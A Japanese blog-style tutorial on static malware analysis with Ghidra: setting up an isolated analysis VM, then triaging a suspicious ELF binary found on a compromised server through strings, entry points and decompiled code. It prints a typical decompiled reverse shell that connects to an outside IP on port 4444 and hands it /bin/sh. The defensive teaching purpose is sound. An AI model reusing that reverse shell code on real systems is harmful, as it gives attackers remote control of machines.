なぜ私はすべての調査を静的解析から始めるのか
数ヶ月前、午前2時に私のサーバーがSSHブルートフォース攻撃を受けました。自動ブロックが機能する前に、攻撃者は15KBのELFバイナリを/tmpディレクトリに送り込むことに成功しました。この事件をきっかけに、私のセキュリティに対するアプローチは変わりました。単に脆弱性を修正するだけでは不十分でした。そのバイナリが具体的に何をするために設計されたのかを知る必要があったのです。ほとんどの攻撃者は、永続性を確立したりデータを外部に送信したりするために、Linux用のELFやWindows用のPEといった小さなコンパイル済みファイルを使用します。
これらの脅威に安全に対処するには、実際にファイルを実行せずに中身を確認する必要があります。これが静的解析の本質です。NSA(米国家安全保障局)が開発したオープンソースのリバースエンジニアリングスイートであるGhidraは、この作業に最適なツールです。複雑なバイナリを読みやすいC言語風のコードにデコンパイルできるため、システム感染のリスクを冒すことなく攻撃者の意図を把握できます。
静的解析 vs 動的解析:実行する前に確認する
不審なファイルを見つけたとき、調査方法は2つあります。どちらを選択するかは、目的と環境によって異なります。
静的解析
静的解析は、本質的に安全であるため、私が最初に選ぶステップです。ファイルを実行せずに、コード、ヘッダー、文字列を調査します。ホストシステムでの感染リスクはありません。アセンブリ命令やインポートされたライブラリを確認することで、リバースシェルやキーロガーを数分で見つけられることもよくあります。ただし、巧妙なマルウェアは「パッキング」や難読化を使用して、実行されるまでそのロジックを隠蔽します。
動的解析
動的解析は、厳密に制御されたサンドボックスやVM(仮想マシン)内でマルウェアを実行します。どのファイルを修正したか、どのレジストリキーを削除したか、どのIPアドレスに通信を試みたかを監視します。これにより、コードの真の動作が明らかになります。欠点はリスクです。高度なマルウェアはVM内にいることを検知し、正体を隠すために動作を変更することがあります。
Ghidraを使用する現実
Ghidraは非常に強力ですが、完璧ではありません。Ghidra、IDA Pro、Radare2のどれを選ぶか迷っているなら、以下の点を知っておくべきでしょう。
- 長所:
- コストゼロ: 無料かつオープンソースです。これは、独立した研究者や小規模なセキュリティチームにとって大きな利点です。
- S級のデコンパイラ: Ghidraには高品質なデコンパイラが含まれています。乱雑なアセンブリをCコードに戻す素晴らしい働きをします。
- アーキテクチャのサポート: ほぼすべてに対応しています。x86、ARM、MIPS、PowerPCなど、Ghidraなら解析可能です。
- 短所:
- メモリ消費が激しい: Javaで動作するため、リソースを大量に消費します。アイドル状態でも2GBのRAMを使用し、50MB以上のバイナリを解析する際はさらに多くのメモリを必要とします。
- 複雑なUI: インターフェースは90年代後半のコックピットのようです。強力ですが、初心者にとっては学習曲線が急です。
Linux解析ラボのセットアップ
メインのワークステーションでGhidraを実行しないでください。Kali Linuxや要塞化されたUbuntuインスタンスなど、専用の解析用VMを使用してください。これにより、メイン環境をクリーンで隔離された状態に保てます。
1. Java Development Kit (JDK) のインストール
Ghidra 11.xにはJDK 17以降が必要です。Ubuntuでは、次のコマンドでセットアップできます:
sudo apt update && sudo apt install openjdk-17-jdk -y
進める前に、必ず java -version を実行してバージョンを確認してください。
2. ダウンロードと展開
公式サイトのGitHubから最新の安定版をダウンロードします。zipファイルを入手したら、ツールディレクトリに展開します:
unzip ghidra_11.x.x_PUBLIC_2024xxxx.zip
cd ghidra_11.x.x_PUBLIC
3. 起動
付属の実行スクリプトを使用してスイートを起動します:
./ghidraRun
ワークフロー:不審なバイナリの解剖
侵害されたサーバーで見つかった未知のELFファイルを解析するプロセスを見ていきましょう。
ステップ1:インポートと初期仕分け
新しいプロジェクトを作成し(File > New Project)、「Non-Shared Project」を選択します。Iキーを押して不審なバイナリをインポートします。Ghidraはx86-64 ELFなどのフォーマットを自動的に検出します。OKをクリックすると、エントリポイントやリンクされたライブラリの概要が表示されます。ファイルをダブルクリックして CodeBrowser を開きます。
ステップ2:自動解析の実行
ファイルを最初に開くと、Ghidraが解析を行うか尋ねてきます。Yes を選択してください。このステップで関数やクロスリファレンスがマッピングされます。標準的な1MBのバイナリなら約10秒で終わります。巨大なファイルの場合は、コーヒーでも飲んで待ちましょう。数分かかることもあります。
ステップ3:文字列から不審な兆候を探す
私はいつも最初に文字列を確認します。ハードコードされたIP、不審なURL、/etc/shadow のようなパスは決定的な証拠になります。**Window > Defined Strings** を開きます。「http」、「ssh」、「/tmp」などでフィルタリングしてください。見覚えのないドメインが見つかれば、それが最初の糸口になります。
ステップ4:「Main」ロジックの特定
Symbol Tree で main を探します。バイナリが「ストリップ(stripped)」されている場合、main シンボルは見つかりません。その場合は entry 関数を探してください。通常、それは __libc_start_main を呼び出しており、その呼び出しに渡される引数の1つが実際のメイン関数のメモリ番地です。
ステップ5:デコンパイルされたコードの解読
Decompile ウィンドウが本領を発揮する場所です。mov eax, 0x1 のようなアセンブリを result = 1; のような人間が読める形式に変換します。特に以下のパターンに注目してください:
- ネットワーク活動:
socket、connect、sendを探します。ポート4444で外部IPに接続しているバイナリは、ほぼ間違いなくC2(Command and Control)コールバックです。 - 永続性:
forkに続くsetsidを探します。これはマルウェアがバックグラウンドで動作するために「デーモン化」する手法です。 - アンチデバッグ:
ptraceを探します。マルウェアはしばしばPTRACE_TRACEMEを使用して、監視されているかどうかをチェックします。デバッガを検知すると、単に終了します。
以下は、デコンパイラで表示されるリバースシェルの典型的なコード例です:
// このコードは接続を開き、シェルをリダイレクトします
sock = socket(2, 1, 0);
addr.sin_family = 2;
addr.sin_port = htons(0x115c); // ポート 4444
addr.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(sock, &addr, 0x10);
dup2(sock, 0); // 標準入力をリダイレクト
dup2(sock, 1); // 標準出力をリダイレクト
dup2(sock, 2); // 標準エラー出力をリダイレクト
execve("/bin/sh", NULL, NULL);
ステップ6:情報の整理
変数の役割が判明したら、Lキーを押して名前を変更します。ネットワーク接続のファイル記述子として使われている変数があれば、network_fd に変更しましょう。**;**キーを押してコメントを追加します。これにより、意味不明なコードの羅列がドキュメント化されたレポートに変わります。
最後に
静的解析は、リスクの高いパズルを解くようなものです。アセンブリの山から始まり、攻撃者の意図が明確になるまで、少しずつ物語を組み立てていきます。
単純なスクリプトと高度なリモートアクセス・トロイの木馬(RAT)を区別できるようになったことで、前回のサーバー侵害時の復旧時間を数時間短縮できました。Ghidraは、そうした判断を下すために必要な透明性を提供してくれます。忘れないでください。常に隔離された環境で作業し、動的解析の準備が整うまでは、決してサンプルを実行してはいけません。

